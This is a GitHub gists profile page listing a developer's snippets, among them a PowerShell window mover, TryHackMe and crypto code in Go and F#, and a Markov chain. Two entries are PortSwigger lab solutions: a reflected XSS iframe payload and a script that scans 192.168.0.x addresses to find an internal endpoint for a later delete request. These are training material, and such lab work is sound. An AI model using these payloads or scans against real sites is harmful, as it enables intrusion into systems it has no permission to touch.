Skip to content

Instantly share code, notes, and snippets.

View ChrisPritchard's full-sized avatar
🍻
...

Christopher Pritchard ChrisPritchard

🍻
...
View GitHub Profile
# small powershell script that will move a window to a specified location.
# used (as can be seen in the code) to move a borderless 1920x1080 Skyrim SE window to the middle of my 3840x1080 screen.
add-type @"
using System;
using System.Runtime.InteropServices;
namespace WindowMethods {
public class Imported {
[DllImport("user32.dll")]
public static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
@ChrisPritchard
ChrisPritchard / tryhackme-scripting-task3.go
Created April 21, 2020 20:22
Try Hack Me scripting room part 3: Encrypted Server Chit Chat (aes gcm decrypt sample in go)
/*
Encrypted Server Chit Chat
The VM you have to connect to has a UDP server running on port 4000. Once connected to this UDP server, send a UDP message with the payload "hello" to receive more information. You will find some sort of encryption(using the AES-GCM cipher). Using the information from the server, write a script to retrieve the flag. Here are some useful thingsto keep in mind:
sending and receiving data over a network is done in bytes
the PyCA encryption library and functions takes its inputs as bytes
AES GCM sends both encrypted plaintext and tag, and the server sends these values sequentially in the form of the encrypted plaintext followed by the tag
This machine may take up to 5 minutes to configure once deployed. Please be patient.
@ChrisPritchard
ChrisPritchard / advanced-xss-labs-solutions.md
Last active September 19, 2023 01:54
Solution sketchbook for Portswigger's new XSS labs (the new-new ones).

Reflected XSS into HTML context with most tags and attributes blocked

Put this in the exploit server body and 'deliver to victim' (change the host for your lab host):

<iframe src="https://acb41fc71e32c9aa80aab06000f30012.web-security-academy.net/?search=%3Cbody+onresize%3D%22alert%28%27xss%27%29%22%3E"  width=300 id="frame" onload="this.width = 500"></iframe>

Reflected XSS protected by CSP, with dangling markup attack

@ChrisPritchard
ChrisPritchard / chunksizer.fs
Created January 8, 2020 00:56
Simple console app that helps calculate the hex size for body content in a transfer-encoding request
open System
[<EntryPoint>]
let main argv =
printfn "enter lines and end with EOF\n"
let sep = "\r\n"
let rec builder acc =
let line = Console.ReadLine ()
if line.Contains "EOF" then
open System.Security.Cryptography
let encrypt psk (iv: byte[]) (inData: byte[]) =
use aesObj = Aes.Create ()
aesObj.Mode <- CipherMode.ECB
aesObj.Padding <- PaddingMode.None
let zeroIv = Array.create 16 0uy
let encryptor = aesObj.CreateEncryptor (psk, zeroIv)
<!-- each script tag below is a seperate exploit page to use on the server, for this multi-step lab -->
<!-- technically only the first (to find the ip) and last (to execute the delete) are needed, but the
middle two scripts were used by me to explore the site and craft the final exploit -->
<!-- find the ip address of the internal endpoint -->
<script>
for(var i = 1; i <= 254; i++) {
var req = new XMLHttpRequest();
req.open('get', 'http://192.168.0.' + i + ':8080/', true);
req.onload = report(i);
@ChrisPritchard
ChrisPritchard / markov.fsx
Created November 12, 2019 07:34
A simple markov chain implementation, flexible to support any type (but built with string / sentence samples).
let samples = [
"I am a monster."
"I am a rock star."
"I want to go to Hawaii."
"I want to eat a hamburger."
"I have a really big headache."
"FSharp is a fun language."
"Go eat a big hamburger."
"Markov chains are fun to use."
@ChrisPritchard
ChrisPritchard / zalgo.js
Created July 5, 2018 00:45 — forked from flanger001/zalgo.js
I stole a Zalgo text generator
/* <![CDATA[ */
//============================================================
// ZALGO text script by tchouky
//============================================================
// data set of leet unicode chars
//---------------------------------------------------
//those go UP
var zalgo_up = [